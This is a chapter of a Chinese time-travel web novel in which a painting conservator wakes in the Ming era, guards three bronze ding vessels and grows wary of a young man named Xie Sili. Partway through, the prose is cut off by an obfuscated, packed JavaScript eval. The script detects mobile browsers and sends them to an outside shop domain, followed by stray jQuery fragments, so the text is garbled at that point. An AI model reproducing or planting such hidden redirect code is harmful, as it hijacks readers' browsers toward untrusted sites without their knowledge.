晚间,夏浅还在灯火通明的房间里修一副极其繁复的明代古画。
关于这画中之物,专家们众说纷纭,其中最广为争议的就是上面那处别院到底住的是什么人。
前几天,突然有人说那是明代一位逆臣住过的。可那人被抄了满门,生平简历皆不详,这种说法一出现便受到了学术界强烈的反对和质疑。
夏浅垂眸看了看那别院,思索着网上对那逆臣的各种评价,轻轻叹了口气。
她总觉得他不该是这种结局,落得个明明连姓名都不详,却出现在每一个关于逆臣的帖子之下。
不知为何,下一秒突然她感觉心脏疼的厉害呼吸也变得困难,她一惊,蹲下身子努力的喘着气,待她终于缓过劲来,就发现自己竟然穿越了,大量属于原主的记忆涌到了脑海里。
难民、逃荒,重病不治贯穿了原主的一生。
她不可置信的看着眼前这间小院,下意识将它与画中那个比对,这显然并不是同一个,那自己应该不是穿进画里了,那为什么会突然穿越。
夜里风很凉,吹的她指尖轻轻颤动,夏浅在这夜色中呆坐下来,仰头望着虚无缥缈的天空,过了足足半个时辰才接受这件事,刚准备起身离开,就看见院子里竟然有三个直耳圆鼎。
月光被大片树木挡住,可偏偏这三个鼎的位置避开了阴凉,冥冥之中看上去倒有几分引导的意味,夏浅情不自禁的走了上去。
半球形、深圆腹,两只直立素耳,上面的兽面纹虽然古拙但是内敛庄重,月光洒在上面,又平添了一丝神秘和圣洁。
的确是直耳圆鼎无疑了,一旁还有一些钱,像是因为着急掉出来的。
理论上她不应该管,自己刚刚穿越,这鼎出现的也很是蹊跷,自己管了搞不好会被牵扯进什么大事里面,但她又实在没法袖手旁观。
她抹了把脸,上前仔细看了看,这一看,就在上面看着一个绝对不应该出现在这个鼎上的字,大概是因为被人刻意磨过,已经看不清晰,但她对着月光努力看了看,看出来了是一个[射]字。
此刻正值深夜,素月高悬,银光清寒,她本就面容姣好此刻更被衬的雅丽绝尘,她微拢的眉心渐渐舒展开来,轻叹口气,决心还是将面前之物保护起来。
但是太重了,这不是凭她一个人能搬走的,她环顾四周,好在这地方看起来很是偏僻,先找地方把鼎藏起来,等自己安顿好再来拿鼎也不迟。
正当她想到这处时,外面有人走来,脚踏在断枝之上,传来一声轻响。
虽声音极小,但总归耐不住四周寂静,还是惊扰起一声鸟鸣,转着圈的鸣声交杂着风旋转直上。
深深的吸了口气,夏浅回头看去,须臾之间打好的草稿却在看见来人时梗在了喉头。
像是个小乞丐。
看年纪不过二十出头,满面尘土也挡不住的五官俊逸、身姿挺拔,偏淡色的唇抿着,像一条冷硬的线把一切拒之门外。
夏浅越看越觉得他很眼熟,从原主的记忆中思索片刻,突然想起来,这是谢司礼,原主与他萍水相逢受了其帮助,对谢司礼很是感激,可谢司礼做好事不求回报,那之后两个人就没见过了,所有相关记忆也被埋落在一角。
那大概是四五年前的事。
这样看来谢司礼似乎不是个坏人,可以再请他帮帮忙。
“公子,真是有缘,我刚需要人帮忙,你就又出现了?”
“帮什么忙?”谢司礼很是警惕,打量了一下夏浅旁边的几个物件,“那些是什么?都是你的吗?”
夏浅觉得好像有点不太对劲,从记忆上看谢司礼对原主不是这种警觉怀疑的态度啊,该不会把自己当小偷了吧。
她只得硬着头皮乱编道:“家父的自然就是我的。家中至宝,怕被人偷去一直藏在此处,现在要将其搬走,我一个人搬不了那么多,你可否帮我一起?”
谢司礼半眯起眼睛,却没把审视表现出来。
没听说王忠泉还有那么一个闺女。
不过以王忠泉的品性,在外有上几个私生女也不足为奇。
王忠泉上了朝廷通缉,带着家眷一路南下从京都逃过来,他闻讯偷偷跟来,就亲眼看见他这个守财奴明明是在逃命,还拿了那么多东西,结果属实拿不了了,才让手下人把这三个鼎扔了进来。
他点点头,边走边说:“好,可否告诉我你的名讳。”
夏浅一怔,谢司礼竟然没有认出她,这是不是意味着她可以使用自己的身份了,她眨了眨眼,随后试探道道:“我叫夏浅。”
“谢司礼。”谢司礼道,“现在就搬吗?”
夏浅点了点头。
谢司礼朝这边走了过来,方才站的远,她只见谢司礼很高,宽肩窄腰,但走近仔细看来不免觉得对方有些单薄。
谢司礼已经伸出手,在他即将碰到的时候,夏浅出言阻止道:“不要碰鼎口沿,这很脆弱的。”
谢司礼止了动作,见她那么了解又那么关心,心里猜测更甚,不过他并没有表现分毫,虚心请教道:“那我该怎么做。”
“抓两只直耳。”夏浅指挥道,“但我还不知道应该搬去哪里,你先拿着。”
谢司礼身形一顿,他需要王忠泉的消息,那就必须引导夏浅往医馆走,接近她,才能事半功倍。
好在这条路人影稀少,也没什么地方安身,医馆是唯一一处。
夏浅必去医馆,这倒省了他不少麻烦。
谢司礼没什么表情,只有削薄的唇抿着,眼下两个人已经走出足足一里地,谢司礼额角已然出了一层薄汗,他嘲讽一哂,但转瞬即逝并未被一人扑在鼎上的夏浅捕捉道。
贪那么多钱,还如此在意一个鼎。谢司礼想。
两人谁都没再言语,沉默的走到医馆门口,夏浅抬头看去,一块看上去有些年头的木匾,刻字已被岁月磨损,半遮半掩的没在一颗很长的树枝后,却也能借着月色勉强让人辨出“为黔业医”四个字。
大概是刚刚受了原主记忆的冲击,夏浅不由得升起敬意来,又往前望了望,夜晚能见度不高,但目光所及之处都没有地方可以安身。
“要不然进这里看看吧。”夏浅只得道。
这话正合谢司礼意,他点点头,两个人敲响了门。
没过几秒,脚步声也从里传来,似是布鞋落在木地板上的声音,夏浅循声望去,只见一女子一身素白,双手交握身前,规规矩矩的走来。
长相也如她的衣衫,身形纤细,如一张宣纸,走近时身上有股花香。
见她看过来,谢司礼对她做了个手势,露婉一滞,后迅速反应过来,淡淡笑着望向夏浅。
露婉向夏浅行礼示意,嘴角始终带着笑意,夏浅也忙回礼,简单的说明了缘由,说会找人帮她把其他的鼎也拿回来,很是暖心的领着她去了一个空房间之后便走了出去。
露婉掩着唇小声问道:“她是……”
“王忠泉的女儿。”谢司礼淡淡道。
“不会吧。”露婉惊讶,“我感觉她人很好啊……”
谢司礼摇摇头,没再对夏浅是不是个好人做评价。
但两个人都不知道的是,在他们没有注意到不远处,夏浅站在那里。
不过多时,谢司礼和另外一个男人一起出了门,看起来像是要去搬其余的鼎了,夏浅也不动声色的转身回了房间。
离的有些远,她没有完全听清两个人说的什么,但直觉告诉她这其中问题很大。
至于具体是什么情况,她并不明朗,她只觉得自己可能是被盯上了。
为什么呢?谢司礼前后行为很是割裂,对原主善心出手,对自己却谎话连篇,可思来想去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612666|206009||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,除了自己出现时身边有三个鼎,其他并无区别。
而初次见面,谢司礼也几乎是立马关心了那三个鼎,很有可能,问题就出在这上面。
夏浅想着,又蹲在鼎身边,点上一根烛火,照在上面那不合时宜的字上,而她没过多久就发现,这并不是“射”,而是“谢”,只因磨损太重,加之刚才环境太暗,她才没有看出来。
夏浅不是贪财的人,但她性格对所有文物都称得上是痴迷,这种放到现代妥妥的一级文物,在她心里更是无价之宝。
为了这个,她也要留下来看看谢司礼要干什么。
可以防万一,她也要有所准备。
她想着,在屋子里找了一把匕首,摩挲了几下刀柄,将它握在了手中。
刀刃反映出她的脸,她一愣,终于明白为什么谢司礼没认出她了。
原主的容貌大概是受了她的影响,发生了不少的变化。
没过太久,谢司礼等人回来了,夏浅出了门把鼎挪到了自己屋里,心里了却一件事,便准备洗洗睡了。
心里还琢磨着先按兵不动,看看谢司礼下一步究竟要做什么,这鼎到底和他什么关系。
她倒了一小杯盐水,把中药制成的牙粉倒在简易牙刷上,哼哧哼哧的刷起来,余光却突然瞥见了什么,让她整个人一滞。
她缓缓移过头,轻轻揉了揉眼睛,几步上前,看到一旁放的洗脸盆竟然带着铭文,只是因为没有被好好珍惜,上面已然有了较厚的水垢,需要仔细看才能看出来。
夏浅心头猛的一沉,伸手在上面轻轻敲了敲,声音浑厚短促,没有一点余音。
盆周身锈色层次分明,已经铺满了一层绿色的碳酸铜。
是个青铜盆,还是个带铭文的青铜盆。
夏浅闭了闭眼,不禁觉得百姓这方面知识实在太过浅薄,几乎可以忽略不计,在这里如此轻易的就发现一个,在别的地方也一定有很多如此遭遇的文物。
她把盆拿起来又左右看了看,在片刻间就做了一个决定。
她要在她能力范围之内尽可能的收集、保护这些文物,并且还要试着普及这方面的知识。
夏浅双拳紧握,迅速清洁完,拿着盆找到了露婉。
夏浅指着上面的字给露婉简单的解释了一下,也不知道她听懂几分,但最终还是将盆给了夏浅。
夏浅拿着盆,经过谢司礼房间时随意的转头看了一眼,她当时并不知道,一门之隔的房间里,橱子中藏着一个同样写着“谢”的旗子。
她拿着盆和一些能找到的工具到了河边,夜晚的溪水粼粼波光,水中残月飘忽不定。
夏浅费了好番功夫用毛刷一点点清扫,又用草木灰去了油污,可上面水垢依旧一层难以完全干净,她又找不到合适的办法,轻柔的摩挲着上面不甚清晰的铭文,心中发涩。
看了看河水倒映出来的既不像她自己又不像原主的脸,更像两个人的结合,迟来的有些神伤。
也不知道还能不能回去。
她甩了甩头,把这些想法都清了出去,拿着个不算特别干净的青铜盆回了小院。
被月光铺满的路上,似银河倒泻,漾在秋波之中,让人恍惚中分不清天上地下。
簌簌风声响起,地上叶子又多了几片,更多的月光得以筛下来,落在夏浅的脸上,将她黑色眼瞳照的含光。
谢司礼驻足在不远处,手握一柄长剑,正做出向前刺去的动作。
云遮半月,暗夜沉沉,万籁俱寂中发出很轻的声响,剑光亮了亮。
大晚上的练剑。夏浅半眯起眼睛,手扶在窗框上,食指微蜷敲在上面,静静的看完了他一套动作。
剑风凌厉,谢司礼整个人也跟着锐利意气了几分。
“谢司礼……”夏浅喃喃着这个名字,“你真的叫谢司礼吗?”